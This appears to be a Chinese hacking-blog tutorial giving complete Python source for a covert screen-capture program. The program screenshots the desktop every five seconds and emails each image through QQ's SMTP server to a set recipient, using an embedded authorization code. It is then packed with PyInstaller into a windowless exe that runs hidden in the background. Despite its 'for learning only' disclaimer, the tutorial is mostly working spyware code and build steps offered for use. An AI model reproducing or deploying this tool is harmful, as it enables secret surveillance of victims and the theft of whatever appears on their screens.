注:本篇文章仅供学习交流,请勿用于非法用途 ,否则后果自负。首发于微信公众号:黑客帮,大神勿喷。
原理:使用SMTP协议及截图函数完成屏幕截取并自动发送到指定邮箱。
步骤:
1.邮箱开启SMTP服务,记住授权码。
登录网页版邮箱->设置->账户,找到SMTP服务将其开启,记住授权码。
2.代码解析。
截图函数
time.sleep()表示休眠这里为5,表示代码暂停5秒,该函数每5秒就截一张图在D盘中覆盖保存。
#截图
def imG():
i = 1
while True:
im = ImageGrab.grab()
im.save('D:\\1.png')
print("第%d个屏幕截取成功!" % i)
time.sleep(5)
i = i + 1
smtp_s()
邮件发送函数
def smtp_s():
fromaddr = '开启SMTP服务的邮箱' # 发送方
password = 'bpshrntgrckneaec' # 步骤1获取的授权码
# 接收方可设多个
toaddrs = ['接收方邮箱'] # 邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发
content = '正文内容'
textApart = MIMEText(content)
imageFile = r"D:\\1.png" #r 表示原生字符,不进行转义
imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截图.png")
m = MIMEMultipart()
m.attach(textApart) # 文本
m.attach(imageApart) # 发送图片附件
m['Subject'] = '标题'
#m['From'] = "发件人"
try:
server = smtplib.SMTP('smtp.qq.com') # 指定SMTP服务器
server.login(fromaddr, password)
server.sendmail(fromaddr, toaddrs, m.as_string())
print('发送成功!')
server.quit()
except smtplib.SMTPException as e:
print('error:', e) # 打印错误
完整源码
# -*- coding: gbk -*-
import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
#截图
import time
from PIL import ImageGrab
def smtp_s():
fromaddr = '244255**3@qq.com' # 发送方
password = 'bpshrntgrckneaec' # 步骤1获取的授权码
toaddrs = ['2323457**3@qq.com'] # 邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发
content = '正文内容'
textApart = MIMEText(content)
imageFile = r"D:\\1.png" #r 表示原生字符,不进行转义
imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截图.png")
m = MIMEMultipart()
m.attach(textApart) # 文本
m.attach(imageApart) # 发送图片附件
m['Subject'] = '标题'
#m['From'] = "腾讯"
try:
server = smtplib.SMTP('smtp.qq.com')
server.login(fromaddr, password)
server.sendmail(fromaddr, toaddrs, m.as_string())
print('发送成功!')
server.quit()
except smtplib.SMTPException as e:
print('error:', e) # 打印错误
#截图
def imG():
i = 1
while True:
im = ImageGrab.grab()
im.save('D:\\1.png')
print("第%d个屏幕截取成功!" % i)
time.sleep(5)
i = i + 1
smtp_s()
if __name__ == '__main__':
imG()
4.将源码封装成exe,具体方式点击这里
pyinstaller -F -w 邮件发送.py
5.程序运行结果
封装完成后双击运行exe文件,看不到反应,实际上已经在后台运行。关闭需要到任务管理器结束任务。这里直接在pycharm测试代码。